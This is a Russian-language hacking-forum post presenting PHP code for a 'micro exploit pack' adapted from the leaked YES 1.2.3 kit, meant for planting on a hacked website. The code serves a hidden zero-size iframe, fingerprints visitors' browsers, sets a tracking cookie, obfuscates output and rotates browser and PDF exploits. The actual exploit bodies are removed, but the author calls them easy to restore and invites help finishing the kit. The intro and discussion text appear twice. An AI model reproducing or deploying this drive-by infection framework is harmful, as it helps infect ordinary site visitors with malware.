Брифинг:
Как то блуждая по форумам сходной тематики, наткнулся на обсуждение проблемы сокрытия ифрейма связки на сайте жертвы. Было предложено много типовых и ожидаемых решений - в основном на основе JavaScript обфускации и шифровании. Были классные идеи по запрятыванию ифрейма в файлы картинок и т.п. НО...
Меня посетила идея размещения кода связки (в частности ротатора и непосредственно самих сплойтов) на хакнутом сервере.
Что это дает?
Солюшн:
Предлагаю Вашему вниманию код, реализующий предложенное выше решение. За основу была взята слитая в пабл связка YES 1.2.3. Рабочие сплойты были выкорчеваны из связки дабы не обижать автора и использовались только на этапе тестирования. Также из кода убран криптор связки. Для интересующихся вопросом я думаю не составит труда оживить связку.
Дискуссия:
Сразу могу сказать, что метод автоифрема на себя предложенный в коде однозначно неидеален и стоит серьезно задуматься над методом подачи связки (сейчас это делается простым инклюдом в теле индекса). Такой способ был использован на этапе тестирования и нуждается в совершенствовании.
Также на данном этапе нет обфускации кода самой микросвязки.
Админку я не предлагаю по крайней мере тот вариант что я использовал - грузил файл и записывал айпишник в лог.
Надеюсь общими усилиями форумчан выяснить актуальность такого подхода. Может кто проанализирует написанный код и выдаст идею в корне улучшающую мои наработки. Так же хотелось бы обсудить узкие моменты моей реализации. Я с удовольствием выслушаю конструктивную критику и приму к сведению советы несущие смысловую нагрузку.
Огромная просьба не флудить в моем топе. т.к. попи*деть я и в магазине могу, а здесь я отписал для организации интересного кодинга. Надеюсь вы примете непосредственное участие в разработке. Соответственно, получите на руки практически готовую связку. Ну чем не стимул?
Как то блуждая по форумам сходной тематики, наткнулся на обсуждение проблемы сокрытия ифрейма связки на сайте жертвы. Было предложено много типовых и ожидаемых решений - в основном на основе JavaScript обфускации и шифровании. Были классные идеи по запрятыванию ифрейма в файлы картинок и т.п. НО...
Меня посетила идея размещения кода связки (в частности ротатора и непосредственно самих сплойтов) на хакнутом сервере.
Что это дает?
- Отпадает необходимость в антиабузном хостинге ибо код сплойтов храниться на сервере жертвы.
- Существенно снижается нагрузка на сервер с админкой, так как запросы идут только с пробитых машин.
- Возможно повышается сложность поиска хозяина связки за счет отсутствия прямых ссылок и редиректов (в проценте пробива связки).
- Палевность запросов "на сторону" с индекса сайта гораздо выше палевности запросов на внутренние скрипты.
Солюшн:
Предлагаю Вашему вниманию код, реализующий предложенное выше решение. За основу была взята слитая в пабл связка YES 1.2.3. Рабочие сплойты были выкорчеваны из связки дабы не обижать автора и использовались только на этапе тестирования. Также из кода убран криптор связки. Для интересующихся вопросом я думаю не составит труда оживить связку.
Код:
<?php
//Путь к связке
$pack_url = 'http://' . $_SERVER['HTTP_HOST'] . '/test_micro/pack.php';
//Путь до лоадера
$url = 'http://www.site.ru/admin_micro/load.php';
//Путь к ПДФ сплойту
$spl = $pack_url . '?go=1&pdf=1';
if ($_GET['go'] != 1) {
//Автоифреймер
echo '<iframe src="' . $pack_url .
'?go=1" width=0 height=0 frameborder=0></iframe>';
} else {
//Работа связки
/**
* ************************ ФУНКЦИИ ********************
*/
//Генератор имен
$s = array('a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
'o', 'p', 'r', 's', 't', 'u', 'v', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F',
'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'R', 'S', 'T', 'U', 'V', 'X',
'Y', 'Z');
$var00 = $s[rand(0, 23)] . rand(0, 99) . $s[rand(0, 23)];
$var01 = $s[rand(0, 23)] . rand(0, 99) . $s[rand(0, 23)];
$var02 = $s[rand(0, 23)] . rand(0, 99) . $s[rand(0, 23)];
$var03 = $s[rand(0, 23)] . rand(0, 99) . $s[rand(0, 23)];
$var04 = $s[rand(0, 23)] . rand(0, 99) . $s[rand(0, 23)];
//...
//Декодирование строки unescape
function _rawcode($cont)
{
$cont = rawurlencode($cont);
$cont = '<script>eval(unescape("' . $cont . '"));</script>';
return $cont;
}
//Преобразование в hex формат строки
function hex($string)
{
$str = bin2hex($string);
$str = chunk_split($str, 2);
$str = str_replace("\r\n", '%', $str);
$str = "%$str";
$n = strlen($str);
for ($i = 0; $i <= $n - 2; $i++) {
$res .= $str[$i];
}
return $res;
}
//Криптование сплойта
function _encode($enc_str, $n)
{
//Код убран по идейным соображениям
}
//Кодирование кода в unescape
function unescape($shcode)
{
$generate = null;
$source = strtoupper(bin2hex($shcode));
$g = round(strlen($source) / 4);
if ($g != (strlen($source) / 4))
$source .= "00";
for ($i = 0; $i < strlen($source); $i += 4)
$generate .= "%u" . substr($source, $i + 2, 2) . substr($source, $i, 2);
return $generate;
}
//Сплойты
$msie_00 = 'Код убран по идейным соображениям';
$msie_01 = 'Код убран по идейным соображениям';
$msie_02 = 'Код убран по идейным соображениям';
$msie_03 = 'Код убран по идейным соображениям';
$msie_04 = 'Код убран по идейным соображениям';
$etc_00 = 'Код убран по идейным соображениям';
$etc_02 = 'Код убран по идейным соображениям';
$etc_03 = 'Код убран по идейным соображениям';
$opera_00 = 'Код убран по идейным соображениям';
$firefox_00 = 'Код убран по идейным соображениям';
$firefox_01 = 'Код убран по идейным соображениям';
$firefox_02 = 'Код убран по идейным соображениям';
$firefox_03 = 'Код убран по идейным соображениям';
$opera_01 = 'Код убран по идейным соображениям';
$osx = 'Код убран по идейным соображениям';
$xml = 'Код убран по идейным соображениям';
if ($_GET['pdf'] != 1) {
/**
* ************************ РОТАТОР ********************
*/
//Проверка на уникальность
if (isset($_COOKIE['micro_pack'])) {
die();
}
//Заголовки
@ob_start('ob_gzhandler');
error_reporting(0);
ignore_user_abort(1);
//Определяем браузер
$user_agent = $_SERVER['HTTP_USER_AGENT'];
if (eregi("(opera) ([0-9]{1,2}.[0-9]{1,3}){0,1}", $user_agent, $vers) or eregi("(opera/)([0-9]{1,2}.[0-9]{1,3}){0,1}",
$user_agent, $vers)) {
$browser = 'Opera ' . $vers[2];
$programm = 'Opera';
} elseif (eregi("(konqueror)/([0-9]{1,2}.[0-9]{1,3})", $user_agent, $vers)) {
$browser = 'Konqueror ' . $vers[2];
$programm = 'Konqueror';
} elseif (eregi("(msie) ([0-9]{1,2}.[0-9]{1,3})", $user_agent, $vers)) {
$programm = 'Internet Explorer';
$browser = 'Internet Explorer ' . $vers[2];
} elseif (eregi("(netscape6)/(6.[0-9]{1,3})", $user_agent, $vers)) {
$browser = 'Netscape ' . $vers[2];
$programm = 'Netscape';
} elseif (eregi("(firefox)/([0-9]{1,2}.[0-9]{1,2}.[0-9]{1,2})", $user_agent, $vers) or
eregi("(firefox)/([0-9]{1,2}.[0-9]{1,2})", $user_agent, $vers)) {
$programm = 'FireFox';
$browser = 'Firefox ' . $vers[2];
} elseif (eregi("(mozilla)/([0-9]{1,2}.[0-9]{1,3})", $user_agent, $vers)) {
$programm = 'Mozilla';
$browser = 'Mozilla ' . $vers[2];
} else {
$browser = 'Unknown';
$programm = 'Unknown';
}
//Ставим куки
$cookie_time = 99999;
SetCookie('micro_pack', md5(rand(0, 999)), time() + $cookie_time);
//Открываем документ
echo '<html><head>
<script>
window.onerror = return(true);
</script>
<style>
div {display:none;}
b {display:none;}
</style>
</head><body>';
//Подключаем ротатор сплойтов
if ($programm == 'Internet Explorer' && $vers[2] < '6') {
echo _encode($msie_00, 1);
echo _encode($msie_01, 2);
echo _encode($msie_02, 3);
} elseif ($programm == 'Internet Explorer' && $vers[2] >= '6' && $vers[2] < '7') {
echo _encode($msie_00, 1);
echo _encode($msie_01, 2);
echo _encode($msie_02, 3);
echo _encode($etc_03, 5);
echo _encode($osx, 9);
} elseif ($programm == 'Internet Explorer' && $vers[2] >= '7') {
echo _encode($msie_00, 1);
echo _encode($msie_01, 2);
echo _encode($msie_02, 3);
echo _encode($etc_03, 4);
echo _encode($msie_04, 5);
echo _encode($osx, 9);
if ($vers[2] >= '8') {
echo _encode($xml, 8);
}
} elseif ($programm == 'FireFox') {
echo _encode($firefox_00, 1);
if ($vers[2] <= '1.1')
echo _rawcode($firefox_01);
elseif ($vers[2] > '1.1' && $vers[2] <= '1.5')
echo _encode($firefox_03, 3);
echo _encode($etc_00, 4);
echo _encode($firefox_02, 2);
} elseif ($programm == 'Opera') {
if ($vers[2] <= '9.23')
echo _rawcode($opera_00);
echo _encode($etc_02, 1);
echo _encode($opera_01, 2);
} elseif ($programm == 'Mozilla') {
echo _encode($firefox_00, 1);
echo _encode($etc_00, 2);
} else {
echo _encode($etc_00, 0);
}
//Закрываем документ
echo '</body></html>';
@ob_end_flush();
exit;
} else {
/**
* ************************ PDF СПЛОЙТ ********************
*/
error_reporting(0);
$script = gzcompress('Код убран по идейным соображениям');
$pdf = base64_decode('Код убран по идейным соображениям');
$pdf = str_replace('#replace_one#', strlen($script), $pdf);
$pdf = str_replace('#replace_two#', $script, $pdf);
$pdf = str_replace('#replace_1#', rand(0, 9999), $pdf);
$pdf = str_replace('#replace_2#', rand(1, 9999), $pdf);
$pdf = str_replace('#replace_3#', rand(2, 9999), $pdf);
$pdf = str_replace('#replace_4#', rand(3, 9999), $pdf);
$pdf = str_replace('#replace_5#', rand(4, 9999), $pdf);
$pdf = str_replace('#replace_6#', rand(5, 9999), $pdf);
$pdf = str_replace('#replace_7#', rand(6, 9999), $pdf);
$pdf = str_replace('#replace_8#', rand(7, 9999), $pdf);
header("Accept-Ranges: bytes\r\n");
header("Content-Length: " . strlen($pdf) . "\r\n");
header("Content-Disposition: inline; filename=" . $var18 . ".pdf");
header("\r\n");
header("Content-Type: application/pdf\r\n\r\n");
die($pdf);
}
}
?>
Дискуссия:
Сразу могу сказать, что метод автоифрема на себя предложенный в коде однозначно неидеален и стоит серьезно задуматься над методом подачи связки (сейчас это делается простым инклюдом в теле индекса). Такой способ был использован на этапе тестирования и нуждается в совершенствовании.
Также на данном этапе нет обфускации кода самой микросвязки.
Админку я не предлагаю по крайней мере тот вариант что я использовал - грузил файл и записывал айпишник в лог.
Надеюсь общими усилиями форумчан выяснить актуальность такого подхода. Может кто проанализирует написанный код и выдаст идею в корне улучшающую мои наработки. Так же хотелось бы обсудить узкие моменты моей реализации. Я с удовольствием выслушаю конструктивную критику и приму к сведению советы несущие смысловую нагрузку.
Огромная просьба не флудить в моем топе. т.к. попи*деть я и в магазине могу, а здесь я отписал для организации интересного кодинга. Надеюсь вы примете непосредственное участие в разработке. Соответственно, получите на руки практически готовую связку. Ну чем не стимул?